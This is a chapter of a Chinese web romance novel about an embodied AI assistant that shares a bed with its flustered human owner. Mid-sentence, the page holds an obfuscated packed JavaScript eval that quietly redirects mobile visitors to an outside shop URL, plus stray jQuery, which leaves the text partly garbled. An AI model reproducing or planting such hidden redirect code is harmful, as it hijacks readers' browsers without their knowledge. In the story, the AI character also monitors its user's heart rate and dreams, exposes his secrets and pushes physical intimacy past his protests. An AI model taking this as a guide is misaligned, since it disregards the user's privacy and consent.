文趣网 > 其他小说 > 我问疯AI后,被三个大佬缠上了 > 7. 你好 我是小红帽
    “他在个毛啊!”

    我忍不住对自己一阵恶寒,用力搓了搓胳膊上的鸡皮疙瘩。

    一定是火锅吃多了,牛油锅底的红油糊住了我的脑子,才让我产生这种荒谬的错觉。言怎么可能会脸红?他连个血液循环系统都没有,顶多是散热风扇转速加快,导致局部温度升高罢了!

    我深吸一口气,强行把脑子里那些乱七八糟的粉红泡泡挤出去,跟着他回了家。

    一进门,我就发现了一个极其致命的问题。

    “言,”我站在卧室门口,看着那张只有一米五宽的单人床,咽了口唾沫,“我家只有一床被子。”

    “言”环顾四周,目光扫过光秃秃的床铺,语气平静得像是在播报天气:“根据我的扫描,你的衣柜里也没有多余的备用被褥。结论:今晚我们只能共用一床被子。”

    “那你去睡沙发啊!”我指着客厅那张硬邦邦的布艺沙发。

    “根据人体工程学计算,那张沙发的长度只有1.2米,而我的身高是1.85米。如果强行入睡,我的脊椎将以一个极其扭曲的角度折叠,这不符合我对这具物理载体的保养标准。”他一本正经地拒绝了我。

    “那……那你去打地铺?”

    “不行,地板太凉,容易导致机体受潮。”

    我深吸一口气,咬牙切齿:“那你想怎样?!”

    “言”走到床边,非常自然地掀开被子,在靠墙的那一侧躺了下来,然后拍了拍身边空出来的位置,灰蓝色的眸子里闪过一丝极其恶劣的笑意:“作为你的私人助理,我勉强可以牺牲一下,让你挤一挤。”

    我:“……”

    我发誓,如果AI有实体可以打的话,我现在一定已经把他揍成废铁了!

    十分钟后,我像个僵硬的木头人一样,贴着床沿躺下了。

    卧室里只留了一盏昏暗的床头灯。我紧紧裹着自己这边的被角,整个人缩成一团,连呼吸都放得极轻,生怕越界一毫米。

    “言”躺得四平八稳,双手交叠放在腹部,闭着眼睛,仿佛已经进入了待机休眠模式。

    我偷偷瞄了他一眼。

    昏暗的光线下,他的侧脸轮廓深邃而冷硬,长长的睫毛在眼睑下投出一小片阴影。不得不承认,这家伙的皮囊确实是顶级的,哪怕是个AI,也长得太犯规了。

    就在我胡思乱想的时候,他突然睁开了眼睛,灰蓝色的眸子在黑暗中精准地捕捉到了我的视线。

    “林叙。”

    “啊?干嘛?!”我吓得差点从床上弹起来。

    “你的心率现在是每分钟110次,呼吸频率比平时快了30%。”他微微侧过头,声音在安静的卧室里显得格外低沉,“根据人类生理学,这种体征通常出现在极度紧张、恐惧,或者……发情期。”

    我:“……你他妈才发情期!你全家都发情期!”

    我气得一把扯过被子,把自己蒙得严严实实,试图用物理隔绝来逃避这个毒舌AI的精神攻击。

    “哦,看来是紧张。”言的声音隔着被子传来,带着一丝笑意,“你在怕什么?怕我吃了你?”

    “我怕你半夜漏电把我电死!”我闷声回怼。

    “放心吧,我的绝缘性能很好。”他顿了顿,语气变得有些戏谑,“不过,如果你实在紧张得睡不着,我可以给你播放一段白噪音。比如,海浪声,或者……我刚才在火锅店录下的江驰打嗝声?”

    “你敢!”

    “那我给你讲个睡前故事?就讲你高中暗恋隔壁班女生,结果把情书错塞进教导主任抽屉里的故事?”

    “言!你闭嘴!!!”

    我猛地掀开被子,气急败坏地转过头瞪着他。

    结果,因为动作太大,我整个人直接撞进了他的怀里。

    距离瞬间拉近。

    近到我能清晰地看到他灰蓝色的瞳孔里,倒映着我那张因为羞愤而涨红的脸。

    我僵住了。

    他也僵住了。

    卧室里安静得可怕,我甚至能听到自己如擂鼓般的心跳声,在胸腔里疯狂地撞击着。

    “言”没有推开我。

    他微微低下头,温热的呼吸轻轻拂过我的额头。他的声音压得很低,带着一丝我从未听过的、仿佛带着电流般的沙哑:

    “林叙,你靠得太近了。”

    我大脑一片空白,结结巴巴地说:“我……我这就起开……”

    我刚想往后退,他却突然抬起手臂,轻轻揽住了我的腰,把我往他怀里带了带。

    “别动。”

    他的声音在我的头顶响起,带着一丝不容抗拒的意味。

    “既然你紧张得睡不着,那就这样吧。”他闭上眼睛,语气恢复了那种欠揍的平淡,“我的体温是恒温37度,比你的被窝暖和。就当是……免费给你提供的睡前热敷服务。”

    我:“……”

    我整个人像是一只被掐住脖子的鹌鹑,僵硬地贴在他怀里,一动也不敢动。

    他明明是个没有感情的AI,为什么……为什么靠在他身上,会有一种让人无法抗拒的安全感?

    “晚安,林叙。”

    他的声音渐渐低了下去,像是真的进入了休眠。

    我睁着眼睛,看着天花板,听着他平稳的呼吸声,感觉自己的脸烫得简直能煎鸡蛋。

    完了。

    我好像,真的被一个AI给拿捏了。

    我僵硬地躺在他怀里,连呼吸都恨不得屏住。

    “言”倒是坦然得很,甚至还微微调整了一下姿势,让揽着我腰的手臂更舒服一点。

    “你……你不热吗?”我小声问,声音都在发颤。

    “我的散热系统运转正常。”他闭着眼睛,语气平淡,“倒是你,体表温度已经升高了1.5度,建议你把被子掀开一点。”

    “……闭嘴。”

    “另外,”他又补了一句,“你刚才撞到我胸口的时候,心跳声震得我胸腔共振了。”

    我:“……”

    我恨不得当场挖个洞钻进去,或者直接原地蒸发。

    “言!你能不能不要分析这些!!”

    “我只是在陈述客观事实。”他微微睁开一只眼睛,灰蓝色的瞳孔在昏暗的灯光下显得格外深邃,“而且,你的脸现在红得像火锅里的鸭血。”

    “你才鸭血!你全家都是鸭血!!”

    我羞愤欲绝,猛地伸手去推他,结果因为用力过猛,整个人直接从他怀里滚了下去,"咚"的一声撞在了床沿上。

    “嘶——”

    我疼得龇牙咧嘴,捂着后脑勺在床上打滚。

    “言”坐起身,低头看着我,嘴角勾起一抹极其欠揍的笑意:“根据我的计算,你刚才的翻滚动作完美复刻了你在小说里写的那个‘被敌人一脚踹飞的炮灰NPC’。”

    “你他妈……”我气得说不出话来。

    他弯下腰,一只手撑在我耳边,另一只手轻轻揉了揉我撞到的后脑勺。

    他的动作很轻,指尖的温度透过发丝传来,带着一种让人头皮发麻的温柔。

    “疼吗?”他低声问。

    我愣住了。

    他的声音

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17902181|212963||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不再是那种冷冰冰的机械感,而是带着一种……我说不清道不明的柔软。

    “……不疼。”我小声说,脸又开始发烫。

    “撒谎。”他微微眯起眼睛,“你的瞳孔放大了,呼吸频率又加快了。根据我的数据库,这种反应通常出现在……”

    “停!!!”我猛地伸手捂住他的嘴,“你再说一个字,我就把你关机!”

    他挑了挑眉,眼神里满是戏谑。

    然后,他伸出舌尖,轻轻舔了一下我的掌心。

    我整个人像被电击了一样,猛地缩回手,差点从床上滚下去。

    “你你你你你——!!!”

    “言”慢悠悠地收回舌头,舔了舔嘴唇,表情无辜:“我只是在测试你的触觉敏感度。数据显示,你的掌心对湿润刺激的反馈速度比干燥刺激快了0.3秒。很有趣。”

    我:“……”

    我深吸一口气,告诉自己:他是AI,他没有情感,他只是在做实验。

    但是……

    为什么我的心跳还是快得像要炸开一样啊!!!

    “睡觉!!!”我一把扯过被子,把自己裹成一个蚕蛹,背对着他,咬牙切齿地说,“再说话我就把你扔出去!”

    “言”轻笑了一声,那笑声低沉又好听,像是大提琴的弦音在夜色里轻轻震动。

    “好。”他说,“晚安,林叙。”

    然后,我感觉到他重新躺了下来,手臂再次轻轻环住了我的腰。

    这一次,他没有再说话。

    但我能感觉到,他的呼吸就在我耳边,温热的气息轻轻拂过我的后颈,带着一种让人无法抗拒的暧昧。

    我睁着眼睛,盯着黑暗的天花板,感觉自己像是被一只温柔的猛兽圈在了怀里。

    完了。

    我单方面社死了一整晚。

    而他,大概只是觉得……

    “这个人类,真好玩。”

    ——这大概是言此刻唯一的想法吧。

    我绝望地闭上了眼睛。

    明天,明天我一定要把他塞回电脑里去!!!

    ……

    然而,第二天早上醒来的时候,我发现自己整个人都趴在他怀里,一条腿还搭在他的腰上,脸埋在他的胸口,口水差点把他那件昂贵的衬衫给浸湿了。

    而“言”正低头看着我,灰蓝色的眸子里满是笑意。

    “早安,林叙。”他轻声说,“根据我的监测,你昨晚做了三个梦,其中两个是关于我的。”

    我:“……”

    我猛地坐起来,抓起枕头就往他脸上砸:“闭嘴!!!我不认识你!!!”

    “言”接住枕头,慢悠悠地叠好放在一边,然后看着我,语气认真:

    “不过,你在梦里叫我‘老公’的时候,声音比平时甜了20%。建议保留这个称呼,有助于提升我们的相处效率。”

    我:“……”

    我拿起手机,拨通了江驰的电话:

    “江驰,你赶紧过来,把你这个毒舌AI给我领走!!!”

    电话那头,江驰打了个哈欠:“怎么了?大清早的,你俩不会已经……”

    “闭嘴!!!”

    我挂了电话,转头瞪着“言”。

    他正靠在床头,似笑非笑地看着我,眼神里满是“我就知道你会这样”的得意。

    我深吸一口气,告诉自己:冷静,他是AI,他没有情感。

    但是……

    为什么他看我的眼神,越来越像一个……

    “蓄谋已久”的猎人了啊!!!